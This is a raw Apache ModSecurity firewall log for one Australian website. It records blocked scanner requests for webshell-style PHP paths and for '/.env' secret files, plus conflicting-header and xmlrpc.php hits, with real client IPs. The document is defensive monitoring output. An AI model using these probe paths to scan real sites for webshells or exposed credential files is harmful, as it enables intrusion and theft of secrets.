[Sat Dec 27 03:50:54.351725 2025] [:error] [pid 53445:tid 53521] [client 4.189.107.91:13245] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU7nHpExImFfF-26sOBqWAAAAIM"]
[Sat Dec 27 03:50:54.577934 2025] [:error] [pid 53443:tid 53472] [client 4.189.107.91:13133] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aU7nHovixl-n325_196yiAAAABM"]
[Sat Dec 27 03:50:54.805379 2025] [:error] [pid 53445:tid 53522] [client 4.189.107.91:13225] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aU7nHpExImFfF-26sOBqWwAAAIQ"]
[Sat Dec 27 03:50:55.033074 2025] [:error] [pid 53550:tid 53566] [client 4.189.107.91:12702] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aU7nH7gHjjFoyoP_DoHGyQAAAMw"]
[Sat Dec 27 03:50:55.260800 2025] [:error] [pid 53444:tid 53513] [client 4.189.107.91:12695] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aU7nH-u6cLWyKXCdJRwjawAAAFY"]
[Sat Dec 27 03:50:55.496310 2025] [:error] [pid 53445:tid 53524] [client 4.189.107.91:12716] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aU7nH5ExImFfF-26sOBqXAAAAIY"]
[Sat Dec 27 03:50:55.724181 2025] [:error] [pid 53550:tid 53560] [client 4.189.107.91:12714] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aU7nH7gHjjFoyoP_DoHGygAAAMY"]
[Sat Dec 27 03:50:55.959121 2025] [:error] [pid 53445:tid 53523] [client 4.189.107.91:12703] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aU7nH5ExImFfF-26sOBqXQAAAIU"]
[Sat Dec 27 03:50:56.186147 2025] [:error] [pid 53445:tid 53529] [client 4.189.107.91:12707] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aU7nIJExImFfF-26sOBqXgAAAIs"]
[Sat Dec 27 03:50:56.413923 2025] [:error] [pid 53445:tid 53526] [client 4.189.107.91:12682] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU7nIJExImFfF-26sOBqXwAAAIg"]
[Sat Dec 27 03:50:56.640750 2025] [:error] [pid 53550:tid 53554] [client 4.189.107.91:12705] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU7nILgHjjFoyoP_DoHGywAAAMA"]
[Sat Dec 27 03:50:56.868127 2025] [:error] [pid 53444:tid 53507] [client 4.189.107.91:13286] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU7nIOu6cLWyKXCdJRwjbQAAAFA"]
[Sat Dec 27 03:50:57.096778 2025] [:error] [pid 53443:tid 53466] [client 4.189.107.91:13057] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU7nIYvixl-n325_196yjQAAAA0"]
[Sat Dec 27 03:50:57.323253 2025] [:error] [pid 53443:tid 53454] [client 4.189.107.91:12690] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aU7nIYvixl-n325_196yjgAAAAE"]
[Sat Dec 27 03:50:57.552136 2025] [:error] [pid 53444:tid 53504] [client 4.189.107.91:12692] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aU7nIeu6cLWyKXCdJRwjbgAAAE0"]
[Sat Dec 27 03:50:57.780038 2025] [:error] [pid 53444:tid 53491] [client 4.189.107.91:13178] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aU7nIeu6cLWyKXCdJRwjbwAAAEA"]
[Sat Dec 27 03:50:58.007610 2025] [:error] [pid 53550:tid 53569] [client 4.189.107.91:13170] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aU7nIrgHjjFoyoP_DoHGzQAAAM8"]
[Sat Dec 27 03:50:58.233705 2025] [:error] [pid 53445:tid 53525] [client 4.189.107.91:12708] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aU7nIpExImFfF-26sOBqYAAAAIc"]
[Sat Dec 27 03:50:58.510312 2025] [:error] [pid 53444:tid 53501] [client 4.189.107.91:13148] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aU7nIuu6cLWyKXCdJRwjcQAAAEo"]
[Sat Dec 27 03:50:58.741465 2025] [:error] [pid 53444:tid 53496] [client 4.189.107.91:12711] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aU7nIuu6cLWyKXCdJRwjcgAAAEU"]
[Sat Dec 27 03:50:58.969072 2025] [:error] [pid 53445:tid 53532] [client 4.189.107.91:13141] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aU7nIpExImFfF-26sOBqYgAAAI4"]
[Sat Dec 27 03:50:59.206060 2025] [:error] [pid 53444:tid 53500] [client 4.189.107.91:13212] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU7nI-u6cLWyKXCdJRwjcwAAAEk"]
[Sat Dec 27 03:50:59.443729 2025] [:error] [pid 53444:tid 53508] [client 4.189.107.91:13163] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU7nI-u6cLWyKXCdJRwjdAAAAFE"]
[Sat Dec 27 03:50:59.676883 2025] [:error] [pid 53550:tid 53574] [client 4.189.107.91:18852] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU7nI7gHjjFoyoP_DoHG0AAAANQ"]
[Sat Dec 27 03:50:59.909866 2025] [:error] [pid 53550:tid 53572] [client 4.189.107.91:13193] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU7nI7gHjjFoyoP_DoHG0QAAANI"]
[Sat Dec 27 03:51:00.138364 2025] [:error] [pid 53445:tid 53528] [client 4.189.107.91:13127] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aU7nJJExImFfF-26sOBqaAAAAIo"]
[Sat Dec 27 03:51:00.366677 2025] [:error] [pid 53550:tid 53573] [client 4.189.107.91:13188] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aU7nJLgHjjFoyoP_DoHG0wAAANM"]
[Sat Dec 27 03:51:00.594302 2025] [:error] [pid 53550:tid 53565] [client 4.189.107.91:13168] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aU7nJLgHjjFoyoP_DoHG1AAAAMs"]
[Sat Dec 27 03:51:00.824228 2025] [:error] [pid 53443:tid 53470] [client 4.189.107.91:12677] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aU7nJIvixl-n325_196ylwAAABE"]
[Sat Dec 27 03:51:01.052477 2025] [:error] [pid 53444:tid 53512] [client 4.189.107.91:12701] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aU7nJeu6cLWyKXCdJRwjdgAAAFU"]
[Sat Dec 27 03:51:01.280938 2025] [:error] [pid 53443:tid 53475] [client 4.189.107.91:12704] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aU7nJYvixl-n325_196ymAAAABY"]
[Sat Dec 27 03:51:01.512302 2025] [:error] [pid 53443:tid 53473] [client 4.189.107.91:13192] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aU7nJYvixl-n325_196ymgAAABQ"]
[Sat Dec 27 03:51:01.740501 2025] [:error] [pid 53443:tid 53467] [client 4.189.107.91:13166] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aU7nJYvixl-n325_196ymwAAAA4"]
[Sat Dec 27 05:41:56.178660 2025] [:error] [pid 32278:tid 32288] [client 182.44.8.254:57316] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aU8BJH-IfCN2Cy9GcciHFwAAAMg"]
[Sat Dec 27 17:51:53.107461 2025] [:error] [pid 15939:tid 15952] [client 49.7.227.204:59476] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aU-sOeZ7qdnFxikanMLLwgAAAQs"]
[Sat Dec 27 21:11:05.917347 2025] [:error] [pid 32193:tid 32265] [client 185.213.25.145:53846] [client 185.213.25.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aU_a6Rgw0eCOc2qYqaK1kQAAAI8"]
[Sat Dec 27 21:20:54.822021 2025] [:error] [pid 31933:tid 31955] [client 96.242.29.137:59009] [client 96.242.29.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.242.29.137, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aU_dNsGr1WIJr39uqar0tAAAAdQ"]
[Sat Dec 27 22:11:44.100308 2025] [:error] [pid 32192:tid 32231] [client 141.98.11.171:10493] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aU_pIC_q0VFe066lbk9qAAAAAEg"]
[Sat Dec 27 22:11:45.398340 2025] [:error] [pid 31933:tid 31939] [client 141.98.11.171:10725] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aU_pIcGr1WIJr39uqaoE4QAAAcQ"]
[Sun Dec 28 03:39:57.184371 2025] [:error] [pid 64137:tid 64157] [client 45.159.246.110:45311] [client 45.159.246.110] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/Laravel/.env"] [unique_id "aVA2Deqo3j9PF2he08wEMgAAAAA"]
[Sun Dec 28 06:16:48.340674 2025] [:error] [pid 43789:tid 43809] [client 106.54.62.156:41150] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVBa0Aa-tUppni4CcCbD2gAAARI"]
[Sun Dec 28 12:14:14.564932 2025] [:error] [pid 42292:tid 42307] [client 203.2.64.59:54257] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVCulpyOrM_vaFx1osYCGAAAAAs"]
[Sun Dec 28 14:25:50.290431 2025] [:error] [pid 42378:tid 42389] [client 43.156.228.27:57966] [client 43.156.228.27] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVDNbjgtcN-KHAjWrX_flwAAAMk"]
[Sun Dec 28 15:45:11.171051 2025] [:error] [pid 43789:tid 43795] [client 159.89.181.56:65412] [client 159.89.181.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aVDgBwa-tUppni4CcCYDdAAAAQQ"], referer: binance.com
[Sun Dec 28 18:26:30.671939 2025] [:error] [pid 29388:tid 29413] [client 125.94.144.102:54246] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVEF1toLv2L2zI_SpdXJDwAAAVE"]
[Sun Dec 28 19:58:07.180498 2025] [:error] [pid 29436:tid 29458] [client 4.193.233.56:16762] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-securitiy.php"] [unique_id "aVEbT7chzOOtNL9VPNLwPgAAAZM"]
[Sun Dec 28 19:58:07.592688 2025] [:error] [pid 29437:tid 29490] [client 4.193.233.56:16652] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-securitiy.php"] [unique_id "aVEbTxhDotAbVk6pZLfFJgAAAdg"]
[Sun Dec 28 19:58:08.446302 2025] [:error] [pid 42293:tid 42326] [client 4.193.233.56:16664] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-securitiy.php"] [unique_id "aVEbUMvc9B-5cwN385Ln5QAAAEM"]
[Sun Dec 28 19:58:09.050649 2025] [:error] [pid 42378:tid 42403] [client 4.193.233.56:16727] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-securitiy.php"] [unique_id "aVEbUTgtcN-KHAjWrX8bbAAAANc"]
[Sun Dec 28 19:58:09.658135 2025] [:error] [pid 42293:tid 42346] [client 4.193.233.56:16658] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o2.php"] [unique_id "aVEbUcvc9B-5cwN385Ln5gAAAFc"]
[Sun Dec 28 19:58:09.853090 2025] [:error] [pid 29388:tid 29409] [client 4.193.233.56:16729] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o2.php"] [unique_id "aVEbUdoLv2L2zI_SpdXhGAAAAU0"]
[Sun Dec 28 19:58:10.076821 2025] [:error] [pid 29437:tid 29471] [client 4.193.233.56:16761] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o2.php"] [unique_id "aVEbUhhDotAbVk6pZLfFKAAAAcU"]
[Sun Dec 28 19:58:10.283648 2025] [:error] [pid 42294:tid 42365] [client 4.193.233.56:16744] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o2.php"] [unique_id "aVEbUtTE5kYcYCOzl9G-3wAAAI8"]
